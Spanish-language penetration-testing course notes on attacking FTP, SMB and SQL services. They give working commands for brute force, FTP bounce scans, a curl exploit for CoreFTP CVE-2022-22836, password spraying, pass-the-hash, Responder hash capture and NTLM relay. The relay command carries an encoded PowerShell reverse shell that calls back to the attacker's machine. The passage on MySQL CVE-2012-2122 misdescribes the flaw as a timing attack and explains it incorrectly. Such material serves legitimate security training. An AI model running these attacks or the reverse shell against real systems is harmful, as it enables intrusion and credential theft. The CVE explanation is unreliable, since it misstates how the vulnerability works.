Cuando atacamos un servicio, normalmente desempeñamos un papel de detectives y

necesitamos recopilar la mayor cantidad de información posible y observar atentamente
los detalles. Por lo tanto, cada pieza de información es esencial.

Imaginemos que estamos en un compromiso con un cliente, estamos apuntando al correo

electrónico, FTP, bases de datos y almacenamiento, y nuestro objetivo es obtener la
Ejecución Remota de Código (RCE) en cualquiera de estos servicios. Comenzamos la
enumeración e intentamos el acceso anónimo a todos los servicios, y solo FTP tiene acceso
anónimo. Encontramos un archivo vacío dentro del servicio FTP, pero con el
nombre johnsmith, probamos johnsmith como usuario y contraseña de FTP, pero no
funcionó. Probamos lo mismo con el servicio de correo electrónico y logramos iniciar sesión
con éxito. Con el acceso al correo electrónico, comenzamos a buscar correos electrónicos
que contengan la palabra password, encontramos muchos, pero uno de ellos contiene las
credenciales de John para la base de datos MSSQL. Accedemos a la base de datos y
usamos la funcionalidad incorporada para ejecutar comandos y obtener con éxito la RCE
en el servidor de base de datos. Cumplimos con éxito nuestro objetivo.

Un servicio mal configurado nos permitió acceder a un fragmento de información que

inicialmente puede parecer insignificante, johnsmith pero esa información nos abrió las
puertas para descubrir más información y finalmente lograr la ejecución remota de código
en el servidor de base de datos. De ahí la importancia de prestar atención a cada
fragmento de información, a cada detalle, a medida que enumeramos y atacamos
servicios comunes.

La información confidencial puede incluir, entre otros:

• Nombres de usuario.
• Direcciones de correo electrónico.
• Contraseñas.
• Registros DNS.
• Direcciones IP.
• Código fuente.
• Archivos de configuración.
• Información de identificación personal.

En este módulo se tratarán algunos servicios comunes en los que podemos encontrar
información interesante y descubrir diferentes métodos y herramientas que podemos utilizar
para automatizar nuestro proceso de descubrimiento. Estos servicios incluyen:

• Recursos compartidos de archivos.

• Correo electrónico.
• Bases de datos.

Comprensión de lo que debemos buscar

Cada objetivo es único y debemos familiarizarnos con él, sus procesos, procedimientos,
modelo de negocio y propósito. Una vez que entendamos nuestro objetivo, podemos
pensar qué información es esencial para él y qué tipo de información es útil para nuestro
ataque.

Hay dos elementos clave para encontrar información confidencial:

1. Necesitamos entender el servicio y cómo funciona.

2. Necesitamos saber qué estamos buscando.

Atacando FTP

El Protocolo de transferencia de archivos (FTP) es un protocolo de red estándar que se utiliza

para transferir archivos entre computadoras. También realiza operaciones con directorios y
archivos, como cambiar el directorio de trabajo, listar archivos y renombrar y eliminar
directorios o archivos. De manera predeterminada, FTP escucha en el puerto TCP/21.

Para atacar un servidor FTP, podemos abusar de una mala configuración o de privilegios
excesivos, explotar vulnerabilidades conocidas o descubrir nuevas vulnerabilidades. Por lo
tanto, después de obtener acceso al servicio FTP, necesitamos conocer el contenido del
directorio para poder buscar información sensible o crítica, como ya comentamos
anteriormente. El protocolo está diseñado para activar descargas y subidas con comandos.
De esta forma, se pueden transferir archivos entre servidores y clientes. El usuario dispone de
un sistema de gestión de archivos, conocido por el sistema operativo. Los archivos se
pueden almacenar en carpetas, que pueden estar ubicadas en otras carpetas. Esto da
como resultado una estructura de directorios jerárquica. La mayoría de las empresas utilizan
este servicio para procesos de desarrollo de software o sitios web.

Enumeración

Los scripts de Nmap predeterminados -sC incluyen el script Nmap ftp-anon -sV que verifica
si un servidor FTP permite inicios de sesión anónimos. El indicador de enumeración de
versiones proporciona información interesante sobre los servicios FTP, como el banner FTP,
que a menudo incluye el nombre de la versión. Podemos usar el cliente ftp o nc para
interactuar con el servicio FTP. De manera predeterminada, FTP se ejecuta en el puerto TCP
21.

NMAP

sudo nmap -sC -sV -p 21 [Link]

Configuraciones erróneas

Como ya comentamos, la autenticación anónima se puede configurar para distintos

servicios como FTP. Para acceder con login anónimo, podemos utilizar el nombre
anonymous de usuario y no la contraseña. Esto puede resultar peligroso para la empresa si
no se han configurado correctamente los permisos de lectura y escritura para el servicio
FTP, ya que con el login anónimo, la empresa podría haber almacenado información
sensible en una carpeta a la que el usuario anónimo del servicio FTP podría tener acceso.

Esto nos permitiría descargar esta información sensible o incluso cargar scripts peligrosos.
Utilizando otras vulnerabilidades, como el recorrido de rutas en una aplicación web,
podríamos averiguar dónde se encuentra este archivo y ejecutarlo como código PHP, por
ejemplo.

Autenticación anónima

ftp [Link]
Name ([Link]:kali): anonymous

Una vez que tenemos acceso a un servidor FTP con credenciales anónimas, podemos
comenzar a buscar información interesante. Podemos usar los comandos ls y cd para
movernos por los directorios como en Linux. Para descargar un solo archivo, usamos get, y
para descargar varios archivos, podemos usar mget. Para las operaciones de carga,
podemos usar put para un archivo simple o mput para varios archivos. Podemos usar help
en la sesión del cliente FTP para obtener más información.

En el módulo Footprinting , cubrimos información detallada sobre posibles configuraciones

incorrectas de dichos servicios. Por ejemplo, se pueden aplicar muchas configuraciones
diferentes a un servidor FTP y algunas de ellas conducen a diferentes opciones que podrían
causar posibles ataques contra ese servicio. Sin embargo, este módulo se centrará en
ataques específicos en lugar de encontrar configuraciones incorrectas individuales.

Ataques específicos del protocolo

Existen muchos ataques y métodos diferentes que se basan en protocolos. Sin embargo, es
fundamental tener en cuenta que no atacamos los protocolos individuales en sí, sino los
servicios que los utilizan. Dado que existen docenas de servicios para un único protocolo y
que procesan la información correspondiente de forma diferente, analizaremos algunos.

Fuerza bruta

Si no hay autenticación anónima disponible, también podemos forzar el inicio de sesión

para los servicios FTP utilizando una lista de nombres de usuario y contraseñas generados
previamente. Hay muchas herramientas diferentes para realizar un ataque de fuerza bruta.
Exploremos una de ellas, Medusa . Con Medusa, podemos usar la opción -u para
especificar un solo usuario al que apuntar, o puede usar la opción -U para proporcionar un
archivo con una lista de nombres de usuario. La opción -P es para un archivo que contiene
una lista de contraseñas. Podemos usar la opción -M y el protocolo al que apuntamos (FTP)
y la opción -h para el nombre de host o la dirección IP de destino.

Nota: Aunque podemos encontrar servicios vulnerables a ataques de fuerza bruta, la

mayoría de las aplicaciones actuales previenen este tipo de ataques. Un método más
efectivo es el Password Spraying.

Fuerza bruta con Medusa

medusa -u user -P /usr/share/wordlists/[Link] -h [Link] -M ftp

Ataque de rebote de FTP

Un ataque de rebote de FTP es un ataque de red que utiliza servidores FTP para enviar tráfico
saliente a otro dispositivo de la red. El atacante utiliza un comando PORT para engañar a la
conexión FTP para que ejecute comandos y obtenga información de un dispositivo distinto
del servidor previsto.

Supongamos que nuestro objetivo es un servidor FTP FTP_DMZ expuesto a Internet. Otro
dispositivo dentro de la misma red, Internal_DMZ, no está expuesto a Internet. Podemos
utilizar la conexión al servidor FTP_DMZ para escanear Internal_DMZ mediante el ataque de
rebote de FTP y obtener información sobre los puertos abiertos del servidor. Luego, podemos
utilizar esa información como parte de nuestro ataque contra la infraestructura.
 Imegen en ingles 2

Traducida al español 2
El indicador Nmap -b se puede utilizar para realizar un ataque de rebote de FTP:

nmap -Pn -v -n -p80 -b anonymous:password@[Link] [Link]

Los servidores FTP modernos incluyen protecciones que, por defecto, previenen este tipo de
ataques, pero si estas características están mal configuradas en los servidores FTP modernos,
el servidor puede volverse vulnerable a un ataque de rebote FTP.

Últimas vulnerabilidades de FTP

Al analizar las vulnerabilidades más recientes, centraremos esta sección y las siguientes en
uno de los ataques mostrados anteriormente y lo presentaremos de la forma más sencilla
posible sin entrar en demasiados detalles técnicos. Esto debería ayudarnos a facilitar el
concepto del ataque a través de un ejemplo relacionado con un servicio específico para
comprenderlo mejor.

En este caso, vamos a hablar de la CoreFTP before build 727vulnerabilidad asignada CVE-
2022-22836 . Esta vulnerabilidad es para un servicio FTP que no procesa correctamente
la petición HTTP PUT y da lugar a una vulnerabilidad authenticated directory/ path traversal,
y arbitrary file write. Esta vulnerabilidad nos permite escribir archivos fuera del directorio al
que tiene acceso el servicio.

El concepto del ataque

Este servicio FTP utiliza una solicitud POST HTTP para cargar archivos. Sin embargo, el servicio
CoreFTP permite una solicitud PUT HTTP, que podemos utilizar para escribir contenido en
archivos. Echemos un vistazo al ataque basado en nuestro concepto. La forma
de explotar este ataque es relativamente sencilla y se basa en un solo comando cURL.
Explotación de CoreFTP

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-

as-is [Link]

Con este comando, creamos una solicitud PUT HTTP sin procesar (-X PUT) con autenticación
básica (--basic -u <username>:<password>), la ruta del archivo (--path-as-is
[Link] y su contenido (--data-binary "PoC."). Además,
especificamos el encabezado del host (-H "Host: <IP>") con la dirección IP de nuestro
sistema de destino.

El concepto de ataques

En resumen, el proceso en sí malinterpreta la entrada de la ruta por parte del usuario. Esto
hace que se omita el acceso a la carpeta restringida. Como resultado, los permisos de
escritura en la solicitud PUT HTTP no se controlan adecuadamente, lo que nos permite crear
los archivos que queremos fuera de las carpetas autorizadas. Sin embargo, omitiremos la
explicación del proceso Basic Auth y pasaremos directamente a la primera parte del
exploit.
Recorrido de directorios

Hasta este punto, hemos pasado por alto las restricciones impuestas por la aplicación
mediante los caracteres de escape ( ../../../../) y llegamos a la segunda parte, donde el
proceso escribe el contenido que especificamos en un archivo de nuestra elección. Es
entonces cuando el ciclo comienza de nuevo, pero esta vez para escribir el contenido en
el sistema de destino.

Escritura de archivo arbitraria

Una vez completada la tarea, podremos encontrar este archivo con el contenido
correspondiente en el sistema de destino.

Sistema objetivo
 Atacando SMB

El bloque de mensajes del servidor (SMB) es un protocolo de comunicación creado para

proporcionar acceso compartido a archivos e impresoras entre nodos de una red.
Inicialmente, se diseñó para ejecutarse sobre NetBIOS sobre TCP/IP (NBT) utilizando el puerto
TCP 139 y los puertos UDP 137 y 138. Sin embargo, con Windows 2000, Microsoft agregó la
opción de ejecutar SMB directamente sobre TCP/IP en el puerto 445sin la capa NetBIOS
adicional. Hoy en día, los sistemas operativos Windows modernos utilizan SMB sobre TCP pero
aún admiten la implementación de NetBIOS como conmutación por error.

Samba es una implementación de código abierto basada en Unix/Linux del protocolo SMB.
También permite que los servidores Linux/Unix y los clientes Windows utilicen los mismos
servicios SMB.

Por ejemplo, en Windows, SMB puede ejecutarse directamente sobre el puerto 445 TCP/IP
sin necesidad de NetBIOS sobre TCP/IP, pero si Windows tiene NetBIOS habilitado o estamos
apuntando a un host que no es Windows, encontraremos que SMB se ejecuta en el puerto
139 TCP/IP. Esto significa que SMB se ejecuta con NetBIOS sobre TCP/IP.

Otro protocolo que se relaciona comúnmente con SMB es MSRPC (Microsoft Remote
Procedure Call) . RPC proporciona a un desarrollador de aplicaciones una forma genérica
de ejecutar un procedimiento (también conocido como función) en un proceso local o
remoto sin tener que comprender los protocolos de red utilizados para respaldar la
comunicación, como se especifica en MS-RPCE , que define un protocolo RPC sobre SMB
que puede usar canales con nombre del protocolo SMB como su transporte subyacente.

Para atacar un servidor SMB, debemos comprender su implementación, sistema operativo

y qué herramientas podemos usar para abusar de él. Al igual que con otros servicios,
podemos abusar de una configuración incorrecta o de privilegios excesivos, explotar
vulnerabilidades conocidas o descubrir nuevas vulnerabilidades. Además, después de
obtener acceso al servicio SMB, si interactuamos con una carpeta compartida, debemos
conocer el contenido del directorio. Por último, si nuestro objetivo es NetBIOS o RPC,
identificar qué información podemos obtener o qué acción podemos realizar en el objetivo.

Enumeración
Dependiendo de la implementación de SMB y del sistema operativo, obtendremos
información diferente usando Nmap. Tenga en cuenta que cuando se apunta al sistema
operativo Windows, la información de la versión generalmente no se incluye como parte
de los resultados del análisis de Nmap. En su lugar, Nmap intentará adivinar la versión del
sistema operativo. Sin embargo, a menudo necesitaremos otros análisis para identificar si el
objetivo es vulnerable a un exploit en particular. Trataremos la búsqueda de
vulnerabilidades conocidas más adelante en esta sección. Por ahora, analicemos los
puertos TCP 139 y 445.

nmap [Link] -sV -sC -p139,445

El escaneo de Nmap revela información esencial sobre el objetivo:

• Versión SMB (Samba smbd 4.6.2)

• Nombre de host HTB
• El sistema operativo es Linux basado en la implementación de SMB

Exploremos algunas configuraciones erróneas comunes y ataques específicos a protocolos.

Configuraciones erróneas

Se puede configurar SMB para que no requiera autenticación, que suele denominarse null
session. En cambio, podemos iniciar sesión en un sistema sin nombre de usuario ni
contraseña.

Autenticación anónima

Si encontramos un servidor SMB que no requiere un nombre de usuario y contraseña o

encontramos credenciales válidas, podemos obtener una lista de recursos compartidos,
nombres de usuario, grupos, permisos, políticas, servicios, etc. La mayoría de las
herramientas que interactúan con SMB permiten la conectividad de sesión nula,
incluidas smbclient, smbmap, rpcclient o enum4linux. Exploremos cómo podemos
interactuar con recursos compartidos de archivos y RPC usando autenticación nula.
Compartir archivos

Usando smbclient, podemos mostrar una lista de los recursos compartidos del servidor con
la opción -L, y usando la opción -N, le indicamos smbclient que use la sesión nula.

smbclient -N -L //[Link]
smbclient //[Link]/directorio -U 'user%pass'
smbclient //[Link]/directorio --user jason --pasword ‘Password!'
nmap --script smb-brute -p 445 [Link]

Smbmap es otra herramienta que nos ayuda a enumerar recursos compartidos de red y
acceder a los permisos asociados. Una ventaja de smbmap es que proporciona una lista
de permisos para cada carpeta compartida.

smbmap -H [Link]

Usando smbmap la opción -r o -R (recursiva) se pueden explorar los directorios:

smbmap -H [Link] -r notes

En el ejemplo anterior, los permisos se establecen en READ y WRITE, que se pueden usar para
cargar y descargar los archivos.

smbmap -H [Link] --download "notes\[Link]"

smbmap -H [Link] --upload [Link] "notes\[Link]"

Llamada a procedimiento remoto (RPC)

Podemos utilizar la herramienta rpcclient con una sesión nula para enumerar una estación
de trabajo o un controlador de dominio.

La herramienta rpcclient nos ofrece muchos comandos diferentes para ejecutar funciones
específicas en el servidor SMB para recopilar información o modificar atributos del servidor
como un nombre de usuario. Podemos utilizar esta hoja de trucos del SANS Institute o revisar
la lista completa de todas estas funciones que se encuentran en la página del manual
de rpcclient.

rpcclient -U'%' [Link]

enumdomusers
Enum4linuxes otra utilidad que admite sesiones nulas y utiliza nmblookup, net, rpcclient
y smbclient para automatizar algunas enumeraciones comunes de destinos SMB como:

• Nombre de grupo de trabajo/dominio

• Información de usuarios
• Información del sistema operativo
• Información de grupos
• Comparte carpetas
• Información sobre la política de contraseñas

La herramienta original fue escrita en Perl y reescrita por Mark Lowe en Python .

./[Link] [Link] -A -C

Ataques específicos del protocolo

Si no se habilita una sesión nula, necesitaremos credenciales para interactuar con el

protocolo SMB. Dos formas comunes de obtener credenciales son la fuerza bruta y la
pulverización de contraseñas .

Fuerza bruta y rociado de contraseñas

Cuando se utiliza la fuerza bruta, se prueban tantas contraseñas como sea posible para una
cuenta, pero se puede bloquear una cuenta si se alcanza el umbral. Podemos utilizar la
fuerza bruta y detenernos antes de alcanzar el umbral si lo conocemos. De lo contrario, no
recomendamos utilizar la fuerza bruta.

El rociado de contraseñas es una mejor alternativa, ya que podemos seleccionar una lista
de nombres de usuario con una contraseña común para evitar bloqueos de cuentas.
Podemos probar más de una contraseña si conocemos el umbral de bloqueo de la cuenta.
Por lo general, dos o tres intentos son seguros, siempre que esperemos entre 30 y 60 minutos
entre intentos. Exploremos la herramienta CrackMapExec que incluye la capacidad de
ejecutar el rociado de contraseñas.
Con CrackMapExec (CME), podemos atacar múltiples IP, utilizando numerosos usuarios y
contraseñas. Exploremos un caso de uso cotidiano de rociado de contraseñas. Para realizar
un rociado de contraseñas contra una IP, podemos utilizar la opción -upara especificar un
archivo con una lista de usuarios y -p especificar una contraseña. Esto intentará autenticar
a cada usuario de la lista utilizando la contraseña proporcionada.

cat /tmp/[Link]

crackmapexec smb [Link] -u /tmp/[Link] -p 'Company01!' --local-auth

Para obtener instrucciones de uso más detalladas, consulte la guía de documentación de

la herramienta.
SMB

Los servidores SMB de Linux y Windows ofrecen diferentes vías de ataque. Por lo general,
solo obtendremos acceso al sistema de archivos, abusaremos de privilegios o explotaremos
vulnerabilidades conocidas en un entorno Linux, como veremos más adelante en esta
sección. Sin embargo, en Windows, la superficie de ataque es más significativa.

Al atacar un servidor SMB de Windows, nuestras acciones estarán limitadas por los privilegios
que tengamos sobre el usuario que logremos vulnerar. Si este usuario es Administrador o
tiene privilegios específicos, podremos realizar operaciones como:

• Ejecución remota de comandos

• Extraer hashes de la base de datos SAM
• Enumeración de usuarios conectados
• Pasar el hash (PTH)

Analicemos cómo podemos realizar dichas operaciones. Además, aprenderemos cómo se

puede abusar del protocolo SMB para recuperar el hash de un usuario como método para
aumentar los privilegios o ganar acceso a una red.

Ejecución remota de código (RCE)

Antes de pasar a la ejecución de un comando en un sistema remoto mediante SMB,

hablemos de Sysinternals. El sitio web Windows Sysinternals fue creado en 1996 por Mark
Russinovich y Bryce Cogswell para ofrecer recursos técnicos y utilidades para administrar,
diagnosticar, solucionar problemas y monitorear un entorno Microsoft Windows. Microsoft
adquirió Windows Sysinternals y sus activos el 18 de julio de 2006.

Sysinternals presentó varias herramientas de software gratuito para administrar y monitorear

computadoras que ejecutan Microsoft Windows. El software ahora se puede encontrar en
el sitio web de Microsoft . Una de esas herramientas de software gratuito para administrar
sistemas remotos es PsExec.

PsExec es una herramienta que nos permite ejecutar procesos en otros sistemas, con
interactividad total para aplicaciones de consola, sin tener que instalar software de cliente
manualmente. Funciona porque tiene una imagen de servicio de Windows dentro de su
ejecutable. Toma este servicio y lo implementa en el recurso compartido admin$ (por
defecto) en la máquina remota. Luego usa la interfaz DCE/RPC sobre SMB para acceder a
la API del Administrador de control de servicios de Windows. A continuación, inicia el servicio
PSExec en la máquina remota. El servicio PSExec crea una canalización con nombre que
puede enviar comandos al sistema.

Podemos descargar PsExec desde el sitio web de Microsoft , o podemos utilizar algunas
implementaciones de Linux:

• Impacket PsExec : ejemplo de funcionalidad similar a PsExec en Python

usando RemComSvc .
• Impacket SMBExec : un enfoque similar a PsExec sin utilizar RemComSvc . La técnica
se describe aquí. Esta implementación va un paso más allá, creando una instancia
 de un servidor SMB local para recibir la salida de los comandos. Esto es útil cuando
la máquina de destino NO tiene un recurso compartido en el que se pueda escribir
disponible.
• Impacket atexec : este ejemplo ejecuta un comando en la máquina de destino a
través del servicio Programador de tareas y devuelve la salida del comando
ejecutado.
• CrackMapExec : incluye una implementación de smbexec y atexec.
• Metasploit PsExec - Implementación de PsExec en Ruby.

Paquete de impresión PsExec

Para utilizar impacket-psexec, necesitamos proporcionar el dominio/nombre de usuario, la

contraseña y la dirección IP de nuestra máquina de destino. Para obtener información más
detallada, podemos utilizar la ayuda de impacket:

impacket-psexec -h

Para conectarse a una máquina remota con una cuenta de administrador local,
utilizando impacket-psexec, puede utilizar el siguiente comando:

Impacket-psexec – sin dominio

impacket-psexec administrator:'Password123!'@[Link]

Las mismas opciones se aplican a impacket-smbexec y impacket-atexec.

CrackMapExec

Otra herramienta que podemos utilizar para ejecutar CMD o PowerShell es CrackMapExec.
Una ventaja de CrackMapExec es la posibilidad de ejecutar un comando en varios hosts a
la vez. Para utilizarlo, necesitamos especificar el protocolo, smb, la dirección IP o el rango
de direcciones IP, la opción -u para el nombre de usuario y la opción -p para la contraseña,
y la opción -x para ejecutar comandos cmd o mayúsculas -X para ejecutar comandos de
PowerShell.

crackmapexec smb [Link] -u Administrator -p 'Password123!' -x 'whoami' --exec-

method smbexec

Enumeración de usuarios conectados

Imaginemos que estamos en una red con varias máquinas. Algunas de ellas comparten la
misma cuenta de administrador local. En este caso, podríamos utilizar CrackMapExec para
enumerar a los usuarios conectados en todas las máquinas dentro de la misma
red [Link]/24, lo que acelera nuestro proceso de enumeración.

crackmapexec smb [Link]/24 -u administrator -p 'Password123!' --loggedon-users

Extraer hashes de la base de datos SAM

El Administrador de cuentas de seguridad (SAM) es un archivo de base de datos que

almacena las contraseñas de los usuarios. Se puede utilizar para autenticar usuarios locales
y remotos. Si obtenemos privilegios administrativos en una máquina, podemos extraer los
hashes de la base de datos SAM para diferentes propósitos:
 • Autenticarse como otro usuario.
• Cracking de contraseñas, si logramos crackear la contraseña, podemos intentar
reutilizarla para otros servicios o cuentas.
• Pasar el hash. Lo comentaremos más adelante en esta sección.

crackmapexec smb [Link] -u administrator -p 'Password123!' --sam

Pass de hash (PtH)

Si logramos obtener un hash NTLM de un usuario y no podemos descifrarlo, aún podemos

usar el hash para autenticarnos a través de SMB con una técnica llamada Pass-the-Hash
(PtH). PtH permite a un atacante autenticarse en un servidor o servicio remoto utilizando el
hash NTLM subyacente de la contraseña de un usuario en lugar de la contraseña en texto
simple. Podemos usar un ataque PtH con cualquier herramienta
Impacket, SMBMap, CrackMapExec, entre otras. Aquí hay un ejemplo de cómo funcionaría
esto con CrackMapExec:

crackmapexec smb [Link] -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

Ataques de autenticación forzada

También podemos abusar del protocolo SMB creando un servidor SMB falso para
capturar los hashes NetNTLM v1/v2 de los usuarios.

La herramienta más común para realizar este tipo de operaciones

es Responder. Responder es una herramienta de envenenamiento de LLMNR, NBT-NS y
MDNS con diferentes capacidades, una de ellas es la posibilidad de configurar servicios
falsos, incluido SMB, para robar hashes NetNTLM v1/v2. En su configuración predeterminada,
encontrará tráfico LLMNR y NBT-NS. Luego, responderá en nombre de los servidores que
busca la víctima y capturará sus hashes NetNTLM.
Vamos a ilustrar con un ejemplo para entender mejor cómo funciona Responder.
Imaginemos que creamos un servidor SMB falso utilizando la configuración predeterminada
de Responder, con el siguiente comando:

[!bash!]$ responder -I <interface name>

Cuando un usuario o un sistema intenta realizar una resolución de nombres (NR), una
máquina lleva a cabo una serie de procedimientos para recuperar la dirección IP de un
host a partir de su nombre de host. En las máquinas Windows, el procedimiento será
aproximadamente el siguiente:
• Se requiere la dirección IP del recurso compartido de archivos del nombre de host.
• Se comprobará el archivo del host local (C:\Windows\System32\Drivers\etc\hosts)
para buscar registros adecuados.
• Si no se encuentran registros, la máquina cambia al caché DNS local, que realiza un
seguimiento de los nombres resueltos recientemente.
• ¿No hay ningún registro DNS local? Se enviará una consulta al servidor DNS que se
haya configurado.
• Si todo lo demás falla, la máquina emitirá una consulta de multidifusión, solicitando
la dirección IP del recurso compartido de archivos a otras máquinas de la red.

Supongamos que un usuario escribe mal el nombre de una carpeta

compartida \\mysharefoder\ en lugar de \\mysharedfolder\. En ese caso, todas las
resoluciones de nombres fallarán porque el nombre no existe y la máquina enviará una
consulta de multidifusión a todos los dispositivos de la red, incluido el servidor SMB falso. Esto
es un problema porque no se toman medidas para verificar la integridad de las respuestas.
Los atacantes pueden aprovechar este mecanismo escuchando dichas consultas y
falsificando las respuestas, lo que lleva a la víctima a creer que los servidores maliciosos son
confiables. Esta confianza se usa generalmente para robar credenciales.

responder -I ens33
Estas credenciales capturadas se pueden descifrar utilizando hashcat o transmitir a un host
remoto para completar la autenticación y hacerse pasar por el usuario.

Todos los hashes guardados se encuentran en el directorio de registros de Responder

(/usr/share/responder/logs/). Podemos copiar el hash a un archivo e intentar descifrarlo
utilizando el módulo hashcat 5600.

hashcat -m 5600 [Link] /usr/share/wordlists/[Link]

Se ha descifrado el hash NTLMv2. La contraseña es P@ssword. Si no podemos descifrar el

hash, podemos retransmitir el hash capturado a otra máquina mediante impacket-
ntlmrelayx o Responder [Link] . Veamos un ejemplo con impacket-ntlmrelayx.

SAMBA RELAY

Primero, necesitamos configurar SMB en OFF nuestro archivo de configuración de respuesta

(/etc/responder/[Link]).

[!bash!]$ cat /etc/responder/[Link] | grep 'SMB ='

SMB = Off

Luego ejecutamos impacket-ntlmrelayx con la opción --no-http-server, -smb2support y la

máquina de destino con la opción -t. De manera predeterminada, impacket-ntlmrelayx se
volcará la base de datos SAM, pero podemos ejecutar comandos agregando la opción -
c.
impacket-ntlmrelayx --no-http-server -smb2support -t [Link]

Podemos crear un shell inverso de PowerShell usando [Link] ,

configurar la dirección IP de nuestra máquina, el puerto y la opción Powershell #3 (Base64).

impacket-ntlmrelayx --no-http-server -smb2support -t [Link] -c 'powershell -e

JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHM
AdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG
4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAwAC4AMQAzADMAIgAsADkAMAAw
ADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0
AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwA
gAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAA
kAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwA
sACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQ
AgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdA
AgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4A
QQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcA
KAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsA
IAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AH
QALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQ
AgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdw
BkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQA
ZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMA
QwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAK
QA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQA
ZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAH
MAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAE
MAbABvAHMAZQAoACkA'

Una vez que la víctima se autentica en nuestro servidor, envenenamos la respuesta y

hacemos que ejecute nuestro comando para obtener un shell inverso.

nc -lvnp 9001
RPC

En el módulo Footprinting , analizamos cómo enumerar una máquina mediante RPC.

Además de la enumeración, podemos utilizar RPC para realizar cambios en el sistema,
como, por ejemplo:

• Cambiar la contraseña de un usuario.

• Crear un nuevo usuario de dominio.
• Crear una nueva carpeta compartida.

También cubrimos la enumeración mediante RPC en el módulo Enumeración y ataques de

Active Directory.

Tenga en cuenta que se requieren algunas configuraciones específicas para permitir este
tipo de cambios a través de RPC. Podemos utilizar la página del manual de rpclient o
la hoja de trucos de acceso SMB desde Linux del SANS Institute para explorar esto más a
fondo.

Ataque a bases de datos SQL

Ataque a bases de datos SQL

MySQL y Microsoft SQL Server (MSSQL) son sistemas de gestión de bases de datos
relacionales que almacenan datos en tablas, columnas y filas. Muchos sistemas de bases
de datos relacionales como MSSQL y MySQL utilizan el lenguaje de consulta
estructurado ( SQL) para consultar y mantener la base de datos.

Los servidores de bases de datos se consideran objetivos prioritarios, ya que son

responsables de almacenar todo tipo de datos confidenciales, incluidos, entre otros,
credenciales de usuario, Personal Identifiable Information (PII)datos relacionados con la
empresa e información de pago. Además, esos servicios suelen estar configurados con
usuarios con privilegios elevados. Si obtenemos acceso a una base de datos, es posible que
podamos aprovechar esos privilegios para realizar más acciones, incluido el movimiento
lateral y la escalada de privilegios.

Enumeración

De forma predeterminada, MSSQL utiliza los puertos TCP/1433 y UDP/1434, y MySQL

utiliza TCP/3306. Sin embargo, cuando MSSQL opera en un modo "oculto", utiliza
el TCP/2433puerto. Podemos utilizar la opción de Nmap scripts predeterminada -sC de para
enumerar los servicios de base de datos en un sistema de destino:
Acaparamiento de pancartas

nmap -Pn -sV -sC -p1433 [Link]

El análisis de Nmap revela información esencial sobre el objetivo, como la versión y el

nombre de host, que podemos utilizar para identificar errores de configuración comunes,
ataques específicos o vulnerabilidades conocidas. Exploremos algunos errores de
configuración comunes y ataques específicos de protocolos.

Mecanismos de autenticación

MSSQL admite dos modos de autenticación , lo que significa que los usuarios pueden
crearse en Windows o en SQL Server:

MySQL También admite distintos métodos de autenticación , como nombre de usuario y

contraseña, así como la autenticación de Windows (se requiere un complemento).
Además, los administradores pueden elegir un modo de autenticación por muchas razones,
incluidas la compatibilidad, la seguridad, la facilidad de uso y más. Sin embargo, según el
método que se implemente, pueden ocurrir configuraciones incorrectas.
En el pasado, existía una vulnerabilidad CVE-2012-2122 en MySQL 5.6.x servidores, entre
otros, que nos permitía eludir la autenticación al utilizar repetidamente la misma contraseña
incorrecta para la cuenta dada porque la timing Attack vulnerabilidad existía en la forma
en que MySQL manejaba los intentos de autenticación.

En este ataque de sincronización, MySQL intenta repetidamente autenticarse en un servidor

y mide el tiempo que tarda el servidor en responder a cada intento. Al medir el tiempo que
tarda el servidor en responder, podemos determinar cuándo se ha encontrado la
contraseña correcta, incluso si el servidor no indica éxito o fracaso.

En el caso de MySQL 5.6.x, el servidor tarda más en responder a una contraseña incorrecta
que a una correcta, por lo que, si intentamos autenticarnos repetidamente con la misma
contraseña incorrecta, acabaremos recibiendo una respuesta indicando que se ha
encontrado la contraseña correcta, aunque no sea así.

Configuraciones erróneas

La autenticación mal configurada en SQL Server puede permitirnos acceder al servicio sin
credenciales si está habilitado el acceso anónimo, se configura un usuario sin contraseña o
se permite que cualquier usuario, grupo o máquina acceda a SQL Server.

Privilegios

Dependiendo de los privilegios del usuario, podremos realizar diferentes acciones dentro de
un SQL Server, como, por ejemplo:

• Leer o cambiar el contenido de una base de datos

• Leer o cambiar la configuración del servidor
